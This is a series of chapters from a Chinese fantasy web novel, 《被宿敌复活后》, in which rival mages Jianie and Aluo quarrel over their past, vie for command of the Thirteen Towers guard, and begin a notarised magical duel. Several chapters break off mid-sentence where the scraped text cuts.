投身于魔法意味着与孤独为伍,法师之 6.幻灭-2 《被宿敌复活后》全本免费阅读 “那么两位阁下,之后见。”露露手一扬,星星火花自她指尖噼里啪啦地爆开,等到焦糖味道的烟雾散去,擅长幻术的法师已经不见了。 进入城区便收起翅膀的飞马小跑起来,马蹄铁叩击石板地面,一声声的脆响反衬出车厢内的寂静。热闹了一路,最后车厢内剩下迦涅和阿洛无言以对。 “奥西尼宅邸?” 明知故问。迦涅腹诽,还是点了点头。 马车调转方向,重新朝千塔城中心进发。迦涅愣了愣,随即抿紧嘴唇:太不应该了,只是离开三年,她就对城区地形生疏到这个地步,入夜后便分不清楚走的哪条路。 怪不得长了双深邃猫眼的露露离开前多看了她一眼。路线规划的漏洞在有心人眼里明晃晃,马车明明进入了奥西尼宅邸所在的中央区却不停留,反而绕路先送走露露。 量身定制万灵药,似水柔情盔甲铺,法杖维修(内有决斗司法顾问),你缺少的最后一味魔法材料当日送达……迦涅默读着窗外掠过的每块奇异招牌,假装没察觉车厢里还有一个乘客。 “我们应当谈一谈。”从阿洛的声音很难判断他是什么表情。 迦涅依旧盯着外面的街景。 阿洛开口的瞬间她就明白过来,这开场白他原本打算在离开甘泉镇后的路上说。但她把其他队员都拉进了车厢。于是纯属偶然,她又一次成功打乱了他的计划。 但阿洛会以为她在有意回避和他单独对话。 “你想说什么?”她依然没有看他。 “我可以道歉。” 迦涅循声转过头。 “如果你感觉队内气氛不够友好、不欢迎你,我为此道歉,”阿洛抿了抿嘴唇,好像这么一句话就让他口干舌燥,他的声音飘忽起来,眼神依旧有力地钉在她脸上,“我以为你打定主意要摧毁我,接下队长头衔只是为了在我脸上踩一脚。” 她突兀地笑了一声:“这不正是我的打算?” “我不确定,”他的视线艰难地游移,顺着她额际银白的发丝下滑,与她澄黄的眼瞳对上又挪开,迦涅不知道他在她脸上寻找什么,或许他也不清楚,“见面之后,我没有那么确定了。” “你当然变了很多,但也许……没有我想得那么多。”他后半句话的语调更像在向她寻求答案。 迦涅哑然。车厢前方的细长玻璃窗外,奥西尼家高塔的轮廓已经清晰可辨。两侧窗外街景倒退的速度减缓再减缓,直至定格不动。 再往前就是宅邸的私家地界,未经许可,外来车马不得入内。 迦涅起身,阿洛似乎差一点就要跟着站起来了,最后却没有。他歪在原位抬眸看她,搁在沙发扶手上的五指悄然握成拳。 “陪我走到正门。”她挥了挥手,车门随之开启。 车身离地面有一段距离,她踩着自动弹出的脚踏,一级一级台阶地走,小心不踩到袍脚。到了台阶底端她才回转身瞧阿洛,一脸“不来就算了”。 阿洛立刻从车门边一跃而下,落地时几乎没有弄出声音。看来他依然坚信法师必须能扛能打,五年间没落下身体训练。 上坡的小道直通奥西尼宅邸正门。阔叶树冠从两旁的石墙上探头探脑,俯视爬了整面墙的异色花藤。两人沉默地从树影中穿过去,一前一后,隔半步的距离,却同时一头扎进浮动的蔷薇科香气。 这繁茂的花香勾起若有似无的回忆,迦涅不确定阿洛上次走这条路是什么时候。反正她想不起来,也不愿意回想。 身后的人迟迟不开口,迦涅突然停步,侧头往后看,但没有给他正脸:“你想道歉的只有这件事?” 阿洛的沉默中透出一丝困惑。 “那么我没什么可以和你说的了。”她的声音里找不见怒气,平静克制,像在对着稿件念反复斟酌过后确凿无疑的结论。 阿洛眸光闪动,他试探道:“如果你的目的并不是和我对着干,阻止我做一切想做的事,这个队长你来当也可以,我没那么介意头衔。” 迦涅彻底转过身来,双手抱臂,好像想看看他还有什么更让人诧异的提议。 他的下一句话也确然让她挑起眉毛:“我们可以成为很好的伙伴。” 一个长长的停顿。 “就像以前一样。”阿洛换了个站姿,掩饰随坦诚崩落的不自在。然而他看清迦涅的反应时,他脸上漂亮的微笑凝固了。 迦涅的表情是空白,注视也空洞。她看着阿洛,却像是看不见他、认不出他。她直勾勾地透过他的脸凝视着什么别的东西。 良久良久,她的目光才重新在他身上聚拢。 而后,她深深地吸了一口长气。 “所以,你希望我假装什么都没发生过,就好像你没有叛离、没有过错,我甚至不能期望你为当年的事道歉,却要笑着和你重新当朋友,”她笑得咬牙切齿,嗓音紧绷着,直到最后一个问句才终于愤怒地颤抖起来,“是这样吗?我没理解错吧?!假如你还有一丁点的良心,就算是装,你也该装得更歉疚些!” 阿洛脸上也不再有表情。眼睑安静快速地闭合又掀起,迎接他的仍然是迦涅怒气勃发的瞪视。 “不可能,”她连着后退两大步,“我告诉你,那不可能,我不可能和变节者做朋友!” ‘变节者’这个词刺中阿洛,他僵了一下,缺乏起伏地反驳:“是你母亲把我驱逐出门。并不是我主动选择叛离。” 她呵了声:“不,就是你选的。你决定放弃原本的道路时就该知道那意味着什么。” “原本只是学术上的分歧,我可以留下来继续自己的研究,是奥西尼家将事情闹得那样难堪。” “是谁先给我们难堪?!你公开表明立场,轻佻狂妄,话里话外把古典魔法贬低进尘土,那个时候你有没有想过其他人会怎么看我们?”迦涅捏着嗓子模仿起来,“噢!你们听说了吗,奥西尼家倾注那么多心血,居然教养出了一个叛徒!” “你那么做,不是当众给我母亲一巴掌是什么?不对,耳光还不够贴切,那明明是背后一刀。” 阿洛一个箭步到了她面前,低头死死盯着她。她尖锐的怒火烧到了他那里,他的眼睛亮得骇人,也比之前任何时刻都要冷。 “那么你有没有想过,如果你母亲的学生们……还有无处不 7.幻灭-3 《被宿敌复活后》全本免费阅读 砰!宅邸大门自动弹开,迦涅怒气冲冲地往里走。 “迦涅小姐,欢迎回来。”金发深肤的女性出现在门厅入口。她的身材高挑,穿着稳重的深灰色长裙,一副干练的管家打扮。 她双手交叠在身前,微微朝着迦涅鞠躬,仿佛没有注意到大小姐满脸的怒气:“行李已经整理完毕,您的房间也收拾好了。您饿吗?还是说您希望换身衣服,或者直接沐浴?” “贝瑞尔……”迦涅喃喃,浑身绷着的那根弦突然松了,强烈的饥饿与疲惫同时袭来。 她呻|吟似地抱怨:“我饿坏了,拜托快一点,吃什么都可以。” 贝瑞尔又是一欠身,上前替迦涅解开法师外袍领口纹样繁复的锁扣:“明白了——” 她忽然顿住,看向迦涅身后。迦涅立刻转头,只见空气如涟漪般层层皱起,一个红鼻子尖耳朵的小家伙从波纹中心钻了出来。 是个她没见过的妖精信使。 妖精是玻瑞亚仅存的神话生物,无法长时间停留人类的地上世界,却能在人类无法轻易触及的灵性之海中穿行,因此非常适合当信使。 迦涅眼前的妖精只有人类巴掌大小,却双手提着一个足有它几倍大的包裹。它不堪重负地勉强飞着,脸涨得通红,灰色的翅膀疯狂扑腾。 即便在妖精之中,这家伙也长得极为滑稽,估计会遭到爱美的同类排挤。而愿意与众多不合群的妖精签订信使契约的家伙就只有…… 迦涅脸色很差:“这是什么?” “不要问多米,多米只是个送东西的!”妖精尖细的声音刺得人脑子嗡嗡的。 红鼻子妖精说完,便气喘吁吁地松手,啪!重物落地。 迦涅还没追问更多,妖精信使便一头钻进新的涟漪中心,逃得飞快。 贝瑞尔手臂上搭着迦涅的外袍,仪态端正地半蹲下去,双手拿起可疑的包裹:“需要我帮您打开吗,迦涅小姐?” 她垂眸阅读外包装上的火漆纹样,平静地报告:“是阿洛·沙亚阁下送来的。” 迦涅的太阳穴突突地跳起来,她才平息些微的恼怒又开始骚动。 “给我吧。”她施展简单的防护术,粗暴地扯开油纸外壳,看着露出的一厚沓羊皮纸抬了抬眉毛。 难道阿洛送来了他最新的研究论述合订本,就为了证明他离开奥西尼家之后过得有多好? 再定睛看清最上面那张纸上的字,迦涅呆了呆。 ——亲爱的 没头没脑的单词孤零零地占据纸页正中。 她面无表情地拿开这张羊皮纸往下看。 ——奥西尼小姐 ——随信 ——送上 ——您 ——要的 ——今日报告 ——我 ——用了 ——三种 ——不同的 ——羊皮纸 ——希望 ——小雪 ——喜欢 ——A. 便条长短的讯息一个词组一个词组地拆开,硬生生耗费十多张纸才写完。迦涅憋着一口气继续往后翻,阿洛竟然真的附上了条理清晰的事件报告。 只不过,依然是一页一两个单词的窒息排版。 不仅如此,每个词都用的精致繁复的花体,而且过几页就换一种新字体,不知情的人瞧见,恐怕会以为这一大叠羊皮纸是什么文字设计稿件或是书法练习范本。 “无聊透顶!小心眼又没事干的神经病!!”迦涅咬牙切齿地骂,手指用力,最上方的纸页瞬间揉出褶皱。 阿洛之前还一副打死他也不写报告的嚣张态度,转眼就主动用这件事做文章,还顺便回敬了迦涅让骏鹰吃掉他上封信的事——既然小雪爱吃,那就让它一口气吃个够。 从信使抵达的时间判断,估计迦涅刚刚和他不欢而散,阿洛就回马车上的书桌边上开始制作这份大礼。 也只有阿洛才会费劲做那么幼稚、那么莫名其妙的事,就为了激她一下。 迦涅还偏偏真的被激怒了。 一想到她居然被阿洛的低级手段气到,她不由自主更加生气了。 “那个自大狂!肌肉长到脑子里的白痴!幼稚鬼!脑袋只是装饰品的混蛋!” 迦涅恨得不行,恨她的骂人经验怎么就那么贫瘠。 更脏更毒辣的词句她没用过也听过,可那些词汇在舌面滚了好一会儿,实在吐不出来。她最后只能用诅咒的气势反复臭骂:“阿洛个神经病!脑子有大病!白痴!混蛋!” 迦涅嘴里痛骂着,刚才坡道上的争吵就像过于清晰的梦魇,又在她的眼前一句一句地重演了一遍。她不自禁仔细回顾自己的表现,思考是不是本该有更好的回呛方法。 还真的被她想到了。而且不止一个。 咚的一声响,迦涅把阿洛的‘礼物’扔到地上,又恶狠狠踩了一脚。她顾不上形象了,无声大叫: 啊——!!真是气死她了! 她随即想到:为什么她又因为阿洛生气了?! 很好,这下愤怒的火苗烧得更旺了。 阿洛动气是他的事,她怎么也被带跑了?在她原本的设想之中,她应该从头到尾保持冷酷的镇定,反衬出阿洛的不理智和可笑。 迦涅的脸色快速变幻,气息急促。管家贝瑞尔站在旁边,一如既往情绪稳定。 等到大小姐脸色难看地平复呼吸,贝瑞尔才适时问道:“如果您还想用餐的话,晚餐已经在餐厅摆好了,我选择了口味较为清淡简单的菜式,也可以直接为您上甜点。” 迦涅用掌心捂住发烫的双颊:“饿死了,先吃饭。” “需要佐餐酒吗?” 麦酒的苦涩风味仿佛还在舌尖跳动,迦涅嘴角抽了抽:“不用了,我要姜汁汽水。” 阿洛即答“姜汁汽水”的声音蓦地在耳畔响起,她打了个寒颤,恨恨道:“不对,不要姜汁汽水,今天开始我不喝姜汁汽水了。别的什么都行。” “好的,迦涅小姐。”贝瑞尔的态度仍旧温和。 寡言的管家引着主人往餐厅走,经过灯下,贝瑞尔灰褐色的皮肤呈现出矿石般的低调光泽。布菜完毕,她退到墙边。 迦涅瞟了贝瑞尔一眼,她首先看到的便是对方的眼珠。那是双奇异而清透的淡粉色眼眸,颜色澄澈,宛若质地纯净的矿物,没有一丝感情的浊绪。 这双眼睛能令与‘她’对视的任何人突然清醒,甚至因为不协调的古 8.幻灭-4 《被宿敌复活后》全本免费阅读 阿洛抵达十三塔卫队在中央区边缘的新据点。他打了个哈欠,朝坐在院子围墙上的露露挥手致意。 露露用精明的猫眼从头到脚打量了阿洛一个来回,似笑非笑地感叹:“难得见到你来那么早,还穿那么正式。” 微风拂动,阿洛身上深墨绿色的长袍沐浴在晨曦中,面料上碎冰般的纹路若隐若现。这件看着就十分昂贵的正装他只穿过一次,去年晋升魔导师的仪式上。 由于阿洛只有这一件符合魔导师身份的衣服,老队员都认识这件绿袍子。 露露最喜欢拿身边人开玩笑,见状当然要多调侃两句:“看来昨天两位谈得不太顺利?都拿出战袍来了。那么现在我到底该叫你队长还是副队长?” 黑发青年笑而不答,露露耸肩:“算了,先不谈这个了,你也是收到消息来的?” 阿洛扬了扬手里的便条:“芬恩急着让我过来,里面什么情况?” 露露回头看了眼灰色为基调的五边形堡垒,摇摇头,吐出的答句没头没脑:“说实话这里挺破的,是该好好修整。” 她说话时酒红色的短发随脑袋晃动,鲜亮的发丝将身后的灰色建筑物衬得灰扑扑的。这里上个月还是空置的城中哨站,在十三塔卫队成立后才有了新用途。 如果不是阿洛还有少部分魔法界权威据理力争,千塔城本来也根本没有第十三支卫队。 “噢,芬恩过来了。”露露从高墙上一跃而下,羽毛般轻飘飘落地。 娃娃脸青年同时从门洞中冒出来,见到阿洛他先摸摸鼻子:“你还是直接进来看吧。” 阿洛昨天上午来过这里,一踏进室内他立刻察觉到异样,反应最快的是嗅觉:堡垒内部混合着轻微霉味的尘埃气息不见了,取而代之的是清新柔和的芬芳,让人联想到河畔的花园。 再仔细看,走廊的墙壁和天花板都粉刷一新,石板地面也变得平整光洁。 “每间房间都大变样了。”芬恩不知为何压低了语声,他在新环境里明显束手束脚。 阿洛反倒表现得很镇定,他像是来散步参观的宾客,兴致盎然地打开走廊上经过的每一扇门。缺腿少抽屉把手的旧家具都不见了,门后是一间又一间用途明确的舒适房间: 摆着现烤点心和最新出版物的队员休息室、墙上绘制玻瑞亚地图的会议室、方便练习各种魔法的地下训练区,散发着诱人香气的厨房和餐厅,在中庭西侧的仓库附近,一箱箱的东西列队悬浮在半空,等待有序入库…… 破败失修的哨站一夜之间成了陌生的模样。对阿洛而言是陌生却也熟悉的模样—— 龙脊山脉之上的流岩城内部、还有千塔城的奥西尼宅邸都修葺成这种风格,注重实用性,但也会在一些无关紧要的细节上炫耀魔法名门的财力、‘品位’和历史。 比如天花板边缘龙鳞形状的装饰,这类扎眼的细节无处不在。 与其说是十三塔卫队的据点,这里俨然已经成为姓奥西尼的一条小龙筑起的“巢穴”。 阿洛唇角仍然翘起,只是眼睛里渐渐不再有笑意。 “奥西尼小姐还说,她已经在和议事会讨论,要给每个正式队员发固定薪水,”露露朝着聚集在走廊另一头议论的两个队员努了努嘴,直接点出最尖锐的问题,“大小姐这是要买下队里人的忠诚,看起来也买得起。阿洛,你怎么看?” 阿洛罕见陷入沉默。 芬恩张口,想安慰几句再略表忠心,但他看了看自己脱线的长袍衣袖,乖乖闭上嘴。 银斗篷原本只是个民间组织,没有固定薪资和工作时间,成员大都另有副业乃至主业,手头紧的时候所有人基本全靠阿洛变卖发明赚来的钱接济。 这也是为什么他有远超年龄的人望。 但靠阿洛的私人收入能填补的开支终究有限度,十三塔卫队如果能争取到优越的待遇,给队员们稳定的薪水,对许多人来说就是天亮日出那样大的改变。 毕竟恩情和信义固然重要,但对愁于生计的人来说,实打实的好处比什么都有说服力。 良久,阿洛呼了一口气,出口的却是平平无奇的废话:“真不愧是奥西尼家的大小姐,出手就是大方。” “都是之前翻修宅邸剩下的材料罢了,物尽其用。”清亮的嗓音在三人身后响起。芬恩肩膀一缩,露露也面露讶色,他们都没察觉背后什么时候多了一个人。 只有阿洛不急不缓地转身,毫不意外地看向走廊拐角的阶梯。看清对方的时候,他不禁怔了怔。 迦涅又站在高处俯视他。 她今天一身猩红色,银白发丝高高盘起,没有戴任何首饰。但仅仅是袍子独特的色泽就足够攥取见者的所有注意力:那是比血更浓稠的暗红,宛若漫不经心将整个花园最新鲜美丽的红玫瑰花瓣都揉碎碾平了,只为了织成那么一匹带着幽微珠光的织物。 这件只能用盛大华美形容的红袍穿在她身上充满攻击性,比衣料更夺目的是她的脸孔。那艳丽的、带着冷调的颜色在迦涅面容的映衬下甚至有些黯沉。 她下巴微抬的弧度,带着冷意的微笑,还有瞳孔里跳动的火焰,全都是蓄势待发的利刃。 “副队长,”她不容拒绝地宣告,“我要占用你几分钟时间。” “你们先忙你们的。”阿洛对芬恩和露露说道,目光却没有从迦涅那里挪开。 目光在半空相触而后胶着,较量已然悄然开始。双方都在等待另一个人先走近,从纡尊降贵的高处走下来,又或是觐见般登上台阶。 但两人都一动不动。 迦涅半句话都没说,转身拾阶而上。 等她猩红色的背影绕过楼梯拐角消失,阿洛才向二楼走。他仗着四肢修长两级台阶一跨,到楼上时迦涅恰好转进左手边的首道门。 他跟上去,谨慎地停在门槛外,目光在室内绕了一周后回到迦涅脸上:“很气派的办公室。” 迦涅端坐在胡桃木长桌后,手里玩着一支漂亮的玻璃笔。她闻言在这间典雅的屋子里扫视了一周,不以为然地扬起半边眉毛。 以她的标准,这里摆上了书房应有的全套家具之后就没什么多余的空间了,实在称不上气派。 阿洛也不是没见识过流岩城的规模,这话只是寒暄。她就不置可否,自顾自说道:“你好像还没选定自己的办公室。” 黑发青年闻言越过肩膀往后瞟,笑笑地作答:“就走廊对面那间好了。” 这两间屋子近乎门对门,如果开着门,一抬眼就能看到对面的情况。 “是吗,”迦涅扯嘴角的动作稍有些用力,但她还是表现得出奇冷静,“我想和你说的是另一件事。我让人仔细调查了一遍队内情况,发现有过半队员都只是挂名。” 阿洛意识到了什么,站得更直。 她恍若不觉地继续陈述:“十三塔卫队和其他的卫队职能不同,不承担巡逻警戒的任务,按需出动。外援在需要的时候临时聘请就好,没必要保留那么多人。所以我打 9.对局-1 《被宿敌复活后》全本免费阅读 “你能接受的结果只有我输,没有合作的可能?” “没有。” “为什么?”阿洛问,表情和声音都平板。 “你昨天不是已经替我说出来了吗?”迦涅一字不落地转述他用过的词句,“我打定主意要摧毁你,接下队长头衔也只是为了在你脸上踩一脚。” 阿洛嗤笑:“就为了这个?” “这作为理由还不够充分?好吧,我确实还有别的考虑。我很乐意让议事会欠我人情,”迦涅后撤些许,视线下移,像是对他垂到桌面的衣袖萌生了强烈兴趣,“你晋升那天穿的就是这件袍子。” 阿洛盯住她,吃不准她为什么唐突地转开话题。 迦涅认得这件绿袍子同样令他吃惊。去年他晋升那时候她还在与世隔绝的海岛上苦修。 阿洛当然知道自己的画像出现在了千塔之城发行的主要报纸上,持续数月的瞩目和议论是每位新魔导师必经的光荣折磨。 不仅是法师,就连普通人家的孩子也会熟记所有魔导师的名字,他们在捉迷藏时把带着绰号的名字当顺口溜念出来,仿佛那是一串辟邪的咒语: “玛格达最会玩火,乌里的手是银色,阿多涅丝仰望星辰……” 但黑礁上的住民对外界的时局变化漠不关心,时效性强的出版物在那里缺乏读者。 迦涅是那样怨恨他,甚至专门让奥西尼家的人搜集他所有的最新消息,定期和其他物资一起送到离岛上?这个揣测十分荒谬,也确然轻而易举地被她的下一句话粉碎了: “今天早晨我去了贤者塔。” 迦涅收声的腔调有些古怪,就好像临时起意撕掉了写好的后半张字条。 阿洛不需要她继续说下去。他知道她在贤者塔看到了什么。 贤者塔是千塔城的心脏,塔顶有一条环形长廊。那里不分昼夜地燃着白色的火炬,照亮墙上悬挂的一幅幅肖像。魔法之都创立至今的所有魔导师在晋升后,都会在火炬长廊上留下自己当时的模样。 画框里的阿洛穿的就是这件深绿色的袍子。 迦涅也知道他为什么突然沉默。琐碎的闲话从记忆海洋的深处上浮,震耳欲聋。 ——你猜我们两个,会是谁先‘挂’到火炬长廊的墙上? ——谁先谁后无所谓吧。 ——也是。 他们都会在火炬长廊拥有一幅肖像,两幅相邻着悬挂,两人的名字相连着被百年后的稚童背诵。这曾经是毋庸置疑的既定事项,或许依然是。只是当初的理所当然变质为苦闷和烦躁。 她眨了眨眼,继续谈论十二贤者议事会欠她人情的好处:“我帮一些熟人管束你这个麻烦,削减你的影响力,他们或许就会同意破例,提早让我接受升格考察。” 阿洛什么都没有说,可他的瞳仁在扩张,呼吸声骤然变得清晰。她根本没有跑题,他绿色的衣袖是导向她下个宣言的道标。 迦涅今年二十一岁,还有一年时间赶超他升格魔导师的速度。 “做好心理准备,”她牵起唇角,起身与阿洛隔着一张桌子对峙,“不仅仅是卫队的指挥权,‘史上最年轻魔导师’这个头衔我也会从你这里拿走。” 漫长到让人忘记时间流逝的沉默。 阿洛终于低笑出声,绿眼睛嘲弄地闪烁着:“打败我、羞辱我竟然是奥西尼家的大小姐归来之后唯一的念想,我是否该感到荣幸?” 迦涅呵地驳斥:“不要自作多情,是你恰好堵在我要走的路上。我要往前走,当然得踢开挡在面前的第一块石头。” 这个过于具象的比喻激怒了阿洛。 咚的一声,是他握拳用力锤击桌面。沉重的胡桃木书桌不情愿地晃了晃。 “你说我猜错了,我也希望我猜错了。可我什么时候挡你的道了?为什么非得是十三塔卫队?!”他再度越过桌子凑近,问已经问过一遍的问题,却不再是酒馆里那极力克制怨怼的态度。 “你是正统得不能更正统的名门继承人,看不起异界研究这样的新学说理所当然。任何一座魔法学府都会抢着邀请你,古典学派掌控那么多卫队,肯定能空出一个领导者位置给你。你完全可以把银斗篷还有我当空气——你家的那么多朋友就是那么做的。” 阿洛好像完全不在乎抬高的声调会惊动外面的人,越说越快。 “你有那么多更好更合适的选择,却偏要来抢夺这个在你眼里可有可无的新组织,就因为它是我创立的。你不留任何合作的余地,因为你要我失败并且屈服。你就是在针对我,一切全都只是因为是我,是这样吗?我理解错了吗!?” 弹劾的词句宛若疾风骤雨,一问接着一问,迦涅忍无可忍,拿起桌子上的水晶镇纸重重拍下。 沉闷的叩击声宛若远雷,他们之间残存的那一层难以言说的顾忌也轰鸣着,摇摇欲坠,而后彻底溃塌了。 她的表情冰冷,嗓音因为怒火尖锐:“是又怎么样?!” “哈哈。”阿洛低笑起来。 “你笑什么?!” “笑你。” 迦涅不禁抓紧了兽型的镇纸。阿洛眼珠微动,他注意到了她的动作,却没有退缩,唇角反而翘得更高,像在邀请她直接诉诸暴力。 “因为我是奥西尼家的耻辱,所以你必须在每个方面都击败我。就连你急着晋升魔导师,也只是为了比我更快做到同一件事。因为只有证明阿洛·沙亚是个无足轻重的小污点,你才能感觉自己不那么糟糕。你活在姓氏的阴影里,让它决定你的一切,从你使用的魔法到你的敌人、你的行事作风、你的价值。” 他长长地叹了口气。叹息声像一根针扎进她的肺叶里。 “说真的,迦涅,这样不无聊吗?” 她的脑海中有须臾的空白。啵,仿佛在遥远的波纹之上,饱满的水泡被轻轻一戳,猝不及防地破裂。 屏住呼吸,心跳好像也停止了,她一动不动地瞪着他。然后她很慢很慢地向外呼,吐光胸腔间堆积到发痛的浊气,让肋骨胸骨向内挤压,直至新的溺水般的窒息感觉从内向外蔓延。 迦涅平静地说:“当然不无聊。” 她声音里的什么东西冻住阿洛昂扬的怒意,他张了张口,没有立刻反驳。 “你离开之后,我和 10.对局-2 《被宿敌复活后》全本免费阅读 “我按照二位的意见拟定了决斗具体条款,请过目。最后,我有义务口头提醒,决斗导致的任何伤亡,包括但不限于肢体残疾、灵魂损伤、肉|体死亡,一切后果都由决斗者承担。 “二位确认无误后,请在印戳的位置注入魔力。” 迦涅抬眼往桌子对面瞧,恰好与阿洛四目相对。 他笑得露出整齐洁白的牙齿,维持着与她的对视,刻意放缓动作,拇指指腹一点点地在面前的羊皮纸上按平。 纹样繁复的特殊印记感知到魔力,亮了一下。生死契约生效。 迦涅见状自然再无任何犹疑,也向印戳注入魔力。 “那么这两份文件由我保管。”健壮得像座小山的雷仔细地收起羊皮纸。 和昨天不同,他穿着紫色镶边的黑袍子,一身肌肉都严严实实藏在衣服下面,领口别着象征律法的金色天秤胸针。 是的,十三塔卫队的元素召唤使雷同时是一名在千塔城有执业资格的律师。确切说,为各式各样的契约做公证人才是雷的主业,协助回收异界漂流物只是个人兴趣。 今天他也是临时被阿洛叫过来的——千塔城在私斗方面律法极为严格,决斗前必须签署生死契约,并且有至少一位律师见证。 迦涅对此只想发笑:阿洛可不是什么遵纪守法的模范市民,他坚决要人见证决斗条款,无非就是预防她事后反悔,不愿意履行承诺给他行动自由。 这家伙倒是非常有自信能扛下她的三击。她闭了闭眼,抑制住内心的烦躁,重新在脑海里挑选决斗使用的法术。有必要让阿洛见识一下她现在的水平。 “外面也准备得差不多了。”阿洛轻巧起身,拍拍雷的肩膀,“麻烦你特地跑一趟了。” 迦涅冲雷颔首致意,懒得和阿洛多话,率先往外面走。 雷到现在为止,对他公证的这场决斗未做任何评价。眼见着两人要离开,这位高大而寡言的见证者忽然开口:“决斗的目的是捍卫名誉,而不是杀死对方。” 这句话当然是说给迦涅听的。她回头,扯起嘴角:“即便是我,要杀死一位魔导师也不那么容易。” 雷愣了一下。 “多谢奥西尼小姐的肯定。”阿洛挖苦地回应。 她没搭理他,径直出门,行走时扬起的猩红衣袖与他墨绿色的袍子前襟一触即离。 来到室外,迦涅一抬头便望见笼罩中庭空地的巨大半透明穹顶。 褐发蓝眼睛的艾尔玛举着法杖站在空地中央,幽蓝色的丝线发着光从杖顶涌现,交错编织,汇入已然成型的防护罩中。她奉命用防护魔法隔开决斗者和外界,避免误伤无辜路人。 新队长和阿洛要较量的消息不知道从哪走漏,中庭外围还有屋顶上已经聚集起围观的人群。 艾尔玛明显有些紧张,她退到半球形的防护壁外,向两位决斗者报告时嗓音紧绷:“我准备好了,随时可以封闭防护球。” 她张了张口,明显还有言语未尽,但看了看迦涅和阿洛的神色,最后还是选择沉默。 阿洛看向迦涅,微微欠身,装腔作势地做了个她先请的动作。 迦涅哼了声,昂首挺胸,率先从留出的缝隙处步入决斗场地。阿洛不紧不慢地落后她两步。 主角现身,观众立刻骚动起来。迦涅泰然沐浴在探究的视线中,神色严肃。阿洛一如既往笑嘻嘻的,抬手随意挥了挥,夸张地感慨:“哇哦——好多人。” 人群中陆陆续续有人笑出声。 阿洛扬声说道:“我不知道各位听说的是什么版本,事情其实是这样的。我今天打算公开演示一下最新型号的防护装置。” 哈?迦涅侧眸。 阿洛就像没察觉到她的瞪视,不知道从哪摸出一枚样式奇特的粗手环。他将这物件举起来展示,自顾自说下去:“和之前的那些实验品一样,没有额外的吟唱,不需要画魔法阵,更不需要跳取悦神灵的舞蹈,只需要注入魔力,这个小发明就会启动。启动所需的魔力量很小,完全可以用储能魔石代替。 “这次的实验品搭载的是防护魔法,请别露出失望的表情,我知道这是基础中的基础。但这项发明其实非常有潜力。” 阿洛说着双掌向下按了按:“请各位想一想,玻瑞亚有近一半人没法自如使用魔法,他们能使用的魔法物品十分有限,这导致他们很少离开家乡。因为一旦离开了各地教会和圣所的庇护,玻瑞亚处处潜藏着需要魔法才能应对的危机。 “但是!假如每个人都有这么一个保命的手环呢?” 迦涅原本并不想听阿洛胡说八道,但不知不觉,她也开始倾听他的说法。 “聪明的各位不需要我继续说下去。当然,这小东西里面也潜藏着巨大的商机,顺带一提,我已经注册了专利。” 观众席爆发出会意的笑声。 “总之,今天为了验证效果,我特意请来我们的新任队长奥西尼小姐助阵,测试成品能承受多强大的攻击。之后奥西尼小姐会对我发动三次攻击。” 他笑笑地瞥了她一眼:“我可以保证,那绝对是货真价实的、毫不留情的强力攻击。” “除了向这枚手环注入魔力,我什么都不会做。另外,为了防止有人说我偷偷用其他的魔法物品作弊——”他戏剧性地停下,脱下深绿色的外袍,在起哄的口哨声中潇洒地往外一掷,“如各位所见,我身上没携带其他东西。” 宽松而轻薄的亚麻衬衫和修身长裤确实藏不下额外的物品。 “我要说的差不多就只有这些。艾尔玛,麻烦封闭防护球。” 幽蓝色丝线补上半球的最后一丝缝隙,内外彻底隔绝。陡然降临的寂静中,阿洛走近的足音愈发明显。迦涅不知道他又在打什么主意,警惕地皱眉,用眼神警告他保持距离。 他却向她伸出戴上那枚手环的右腕:“要确认一下吗?它真的只会发动基础的护身咒。” 迦涅没客气,扒下手环拿到眼前打量。近看她愈发觉得这东西长得古怪。 它足有四指粗细,通体由某种奇特的银色合金铸成,与其说是手环更像落单的单边镣铐。手环的外轮廓不方不圆,质地与纯银相比不够光滑,和天然岩石相似,带着起伏不平的小颗粒。 迦涅没法看透内部构造。阿洛这发明唯一有明确功能的是表面那一圈紫石英:石英对魔力很敏感,是施展法术的基础媒介。 她试着朝手环灌注魔力,有分量的金属块震颤了一下,温暖的白色光芒闪现而后凝结为透明的薄膜,包裹她全身。 确实是最基础的护身咒。 迦涅盯着手环看了好一会儿,陷入深思,不说不动。阿洛也不催促,反而垂眸看着她。防护球外的观众不明所以,在她的余光里探头探脑,迦涅吸了口气,将它递还回去。 “这说不定是你我说话的最后机会。以防万一,有什么遗言吗?”她面无表情,语调还算平静。 阿洛愣了愣,哂然耸肩:“没有。” “二十步距离。”迦涅心中默数,倒退到防护球边缘。 防护壁外的观众听不到球内的声音,只看见白发的法师嘴唇翕动,右手虚张,像是凭空抓住了什么东西。紧接着,她猩红色的衣袍无风舞动,身周的空气开始肉眼可见地震动,细密的闪电在空气中隐现穿行。 不稳的雷光宛若出巢的游蛇,纠缠着,追逐着,逐渐汇拢。 迦涅手腕猛地一翻一拽。她的掌中多了一柄雷电凝结的虚幻长枪! “龙语,她刚才念的是龙语!”芬恩突然大叫起来,引得人群哗然。 龙、巨人、精灵还有恶魔都已经在这片大陆上绝迹。然而越罕为人知的知识就越强大,属于这些古代生物的语言蕴含着能驱动神秘的力量,是吟唱施法的最佳选择。 而在这四种古代生物的语言中,又以龙语最困难。 龙语与其他人形种的语言从存在方式和结构上就截然不同,对使用者自身的魔力也有严苛的要求,鲜少有法师能够自如运用。 娃娃脸青年身侧,艾尔玛嫌弃地往旁边躲了半步,仿佛觉得他声音太大:“这里不是只有你会读唇语,谢谢。”她的眼睛却和在场所有人一样,紧紧盯着那柄令空气都 11.对局-3 《被宿敌复活后》全本免费阅读 迦涅重新出声念诵。 在不通龙语的人听来,她吐出了连串尖锐又嘶哑的低喝,几小节一顿,毫无规律地起伏。使用龙语的时候,迦涅的嗓音也变得冰冷粗粝,仿佛属于另一个人,甚至于说……另一种生物。 一边念咒,她一边张开右手手掌,又凝聚出一柄雷霆之枪,让它悬浮身侧。 她旋即再度翻转手腕,从虚空中拽出第二柄长枪。 随即是再一次,又一次,雷霆之枪凝聚的速度一次比上一次快。 龙语咏唱停止之时,迦涅头顶上方已然悬停了整整五柄雷光闪动的长枪。 防护壁外陷入哑然的寂静。 迦涅展露的精湛技艺和庞大魔力让人说不出话来。法师与法师之间令人绝望的差距无情地甩在了众人脸上: 能用魔力凝聚出一柄这样的武器已经很了不得,可是五把?而且完全不用休息,连着幻化? 太夸张了。怪不得奥西尼家的法师曾经是大灾变时代征战的先锋,说是人形兵器也不为过。 至于能用小发明挡住这样雷霆一击的阿洛……魔导师又有哪个是能小觑的? 